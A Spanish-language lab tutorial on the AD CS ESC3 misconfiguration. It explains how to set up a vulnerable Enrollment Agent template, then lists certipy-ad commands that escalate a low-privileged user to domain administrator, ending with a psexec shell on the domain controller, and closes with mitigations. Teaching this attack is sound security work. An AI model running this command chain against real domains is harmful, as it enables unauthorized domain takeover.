$

ESC3

2025-11-08 · #active-directory#windows#AD CS#esc3

ESC3

Introducción

Continuamos con la serie sobre AD CS, en este caso, toca hablar de ESC3.

ESC3 depende de un template Enrollment Agent mal configurado. Si un usuario normal puede inscribirse en esa plantilla, podrá luego firmar solicitudes y pedir certificados en nombre de cualquier otro usuario (p. ej. Domain Admin).

ESC3 es muy parecido a ESC1, con una diferencia clave: la plantilla define la opción “EKU del agente de solicitud de certificado”, esto significa que se puede solicitar un certificado en nombre de otro principal, que puede ser otro usuario, como el administrador del dominio.

Los requisitos de ataque para ESC3 incluyen:

  1. La autoridad de certificación (CA) otorga derechos de inscripción a usuarios con privilegios bajos, lo que permite que grupos como “Usuarios de dominio” soliciten certificados.
  2. No es necesario que la solicitud de certificado sea aprobada por un “administrador” de certificados.
  3. No se requieren firmas autorizadas, lo que significa que no es necesario proporcionar un certificado previamente aprobado para emitir un nuevo certificado.
  4. La plantilla incluye el “Agente de solicitud de certificado EKU”, que permite solicitar un certificado como un usuario con altos privilegios.

Laboratorio

  • En el servidor CA: certtmpl.msc → Manage.

  • Elige la plantilla Enrollment Agent (si existe) o duplica la plantilla User y en Extensions → Application Policies añade el OID Certificate Request Agent (1.3.6.1.4.1.311.20.2.1). (También puedes duplicar la plantilla “Enrollment Agent” si ya aparece).

  • En General ponle un nombre: ESC3-EnrollmentAgent.

  • En Request Handling / Subject Name: normalmente Supply in the request no es obligatorio aquí — lo crítico es el EKU (Certificate Request Agent) y los permisos.

  • En Security: añade Authenticated Users (o el grupo de usuarios de bajo privilegio que quieras usar en el lab) y dale Read + Enroll. Este es el punto vulnerable: permitir que usuarios normales obtengan el certificado de Enrollment Agent.

  • Asegúrate de que Requires manager approval esté desactivado (si está activado, bloquea el flujo).

  • Guarda y en la consola del CA: Certificate Templates → New → Certificate Template to Issue → seleccioná ESC3-EnrollmentAgent. Ahora la plantilla está publicada en la CA.

¿Qué es exactamente el EKU Enrollment Agent?

  • Es una clave/extensión (EKU) que aparece dentro de un certificado X.509.

  • Su OID es 1.3.6.1.4.1.311.20.2.1 y se conoce como Certificate Request Agent / Enrollment Agent.

  • Un certificado que tiene esa EKU está autorizado para firmar solicitudes de certificado en nombre de otros. Es decir: el portador del certificado puede crear/firmar una solicitud (CSR/PKCS#7/CMC) que la CA aceptará como “firmada por un agente” y, si la CA lo permite, emitirá un certificado con el sujeto que el agente haya solicitado en nombre de otra identidad.

Piensa en el Enrollment Agent como una firma delegada: la CA confía en que quien firma la petición con ese certificado está autorizado para pedir certificados a nombre de terceros.

¿Cómo funciona técnicamente? - el flujo resumido

  1. Obtener un Enrollment Agent (EA) cert: un usuario o servicio tiene un certificado emitido que contiene la EKU 1.3.6.1.4.1.311.20.2.1. Ese certificado debe ser confiable para la CA (cadena válida).

  2. Construir la solicitud “on-behalf-of”: el Enrollment Agent firma la solicitud de certificado (normalmente envolviendo la CSR en un paquete firmado tipo PKCS#7/CMC). Dentro de la solicitud se indica el Subject / UPN / SAN que se quiere para la identidad objetivo (por ejemplo Administrador@hacklab.thl).

  3. Enviar la solicitud a la CA: la CA recibe la solicitud. Antes de emitir, la CA verifica la firma sobre la solicitud: comprueba que el firmante (el EA cert) tiene la EKU Certificate Request Agent, que su cadena es válida y que el EA tiene permiso de Enroll para la plantilla que se solicita (según políticas del CA).

  4. La CA emite el certificado final: si todo cuadra (firma válida, EKU correcto, permisos ok, no hay aprobaciones pendientes), la CA emite un certificado cuyo subject/UPN será el indicado en la solicitud aunque el solicitante real haya sido un usuario de bajo privilegio que sólo posee el EA para firmar la request.

En pocas palabras: la CA confía en la firma del EA y emite certificados “en nombre de” el sujeto pedido.

Enumeración

certipy-ad find -u 'bob@hacklab.thl' -p 'Password123' -dc-ip 192.168.56.10 -vulnerable -stdout

Explotación dede Linux

Solicitud del certificado para bob

certipy-ad req -u 'bob@hacklab.thl' -p 'Password123' -dc-ip 192.168.56.10 -ca hacklab-HACKLAB-CA -template ESC3-EnrollmentAgent

Como puedes ver se emitio un certificado para el usuario bob.

Si te interesa ver más detalles sobre el certificado y los certificados emitidos, puedes acceder desde tu laboratorio en la sección de certsrv.msc en la sección de Issued Certificates en este caso, el id de mi certificado emitido es el 7.

Podemos observar, entre otras cosas, que el proposito del certificado es Certificate Request Agent, además de detalles como emitido a el usuario bob y por la CA hacklab-HACKLAB-CA además del tiempo de validez del certificado.

En la pestaña de detalles, podemos ver la versión, en este caso la versión 3, el número serial, el algoritmo criptografico utilizado para la firma, el emisor, el tiempo de validez más detallado, entre muchos otros datos.

Solicitar un certificado en nombre de la cuenta de administrador

certipy-ad req -u 'bob@hacklab.thl' -p 'Password123' -dc-ip 192.168.56.10 -ca hacklab-HACKLAB-CA -template 'User' -on-behalf-of 'administrador' -pfx bob.pfx

Autenticación utilizando el certificado

certipy-ad auth -pfx administrador.pfx -username administrador -domain hacklab.thl -dc-ip 192.168.56.10

Utilizamos el TGT para conectarnos a DC

KRB5CCNAME=administrador.ccache impacket-psexec -k -no-pass HACKLAB.hacklab.thl

Mitigaciones

  • No dar Enroll a Authenticated Users en plantillas Enrollment Agent. Limitar a cuentas/RAs específicos. Microsoft Learn

  • Habilitar Require manager approval o procesos de aprobación donde tenga sentido.

  • Marcar plantillas críticas con restricciones de emisión (Authorized Signatures / only specific CAs).

  • Auditar y alertar sobre solicitudes de Enrollment Agent y cambios en plantillas.

  • Evitar permitir la exportación de claves privadas si no es necesario.

  • Implementar controles en la CA para requerir que la solicitud “on behalf of” venga desde fuentes autorizadas o restringir la plantilla objetivo para aceptar solo solicitudes firmadas por agentes concretos.

De esta forma, llegamos al final del artículo.

Gracias por leer y ¡Happy Hacking!